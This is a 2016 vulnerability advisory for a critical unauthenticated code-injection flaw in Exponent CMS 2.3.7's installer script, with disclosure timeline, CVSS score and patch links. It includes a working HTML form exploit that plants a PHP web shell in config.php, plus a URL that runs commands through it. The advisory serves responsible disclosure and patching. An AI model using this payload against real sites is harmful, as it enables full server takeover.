Remote Code Execution in Exponent

[High-Tech Bridge Security Research <advisory@xxxxxxxxxxx>]

Advisory ID: HTB23290
Product: Exponent
Vendor: http://www.exponentcms.org/
Vulnerable Version(s): 2.3.7 and probably prior
Tested Version: 2.3.7
Advisory Publication:  January 13, 2016  [without technical details]
Vendor Notification: January 13, 2016 
Vendor Patch: January 23, 2016 
Public Disclosure: February 3, 2016 
Vulnerability Type: Code Injection [CWE-94]
CVE Reference: CVE-2016-2242
Risk Level: Critical 
CVSSv3 Base Score: 10 [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered critical vulnerability in 
Exponent CMS, which can be exploited to inject and execute arbitrary PHP code 
on the vulnerable system with the privileges of the web server. 

The vulnerability resides within "/install/index.php" script, when handling 
user-input data passed via "sc" HTTP POST parameter. The script is not deleted 
by default after installation of the web application. A remote unauthenticated 
attacker can permanently inject arbitrary PHP code into 
"/framework/conf/config.php" configuration file and execute it with privileges 
of the web server. 

The attacker will be able to run arbitrary system commands, gain complete 
control over the vulnerable website, its databases and even compromise the 
entire web server.

A simple exploit below will modify "/framework/conf/config.php" file and inject 
simple web shell into it:


<form action="http://[host]/install/index.php"; method="post" name="main">
<input type="hidden" name='sc[",""); passthru($_GET[]' value='"]); // '>
<input value="submit" id="btn" type="submit" />
</form>


After successful PHP code injection, the attacker can execute arbitrary system 
command viathe web shell. 

The following example will display output of "/bin/ls" command for the current 
directory:

http://[host]/index.php?,%27=ls

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Solution:

Apply Patch #3 to Exponent CMS v2.3.7

More Information:
https://exponentcms.lighthouseapp.com/projects/61783-exponent-cms/tickets/1345-exponent-security-vulnerability-notification
http://www.exponentcms.org/news/security-notice-closing-an-exponent-security-vulnerability
http://www.exponentcms.org/news/patch-3-released-for-v2-3-7

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References:

[1] High-Tech Bridge Advisory HTB23290 - 
https://www.htbridge.com/advisory/HTB23290 - Remote Code Execution in Exponent
[2] Exponent - http://www.exponentcms.org/ - Exponent is a website content 
management system (or CMS) that allows site owners to easily create and manage 
dynamic websites without necessarily directly coding web pages, or managing 
site navigation.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual 
web application penetration test and cutting-edge vulnerability scanner 
available online via a Software-as-a-Service (SaaS) model.

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Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.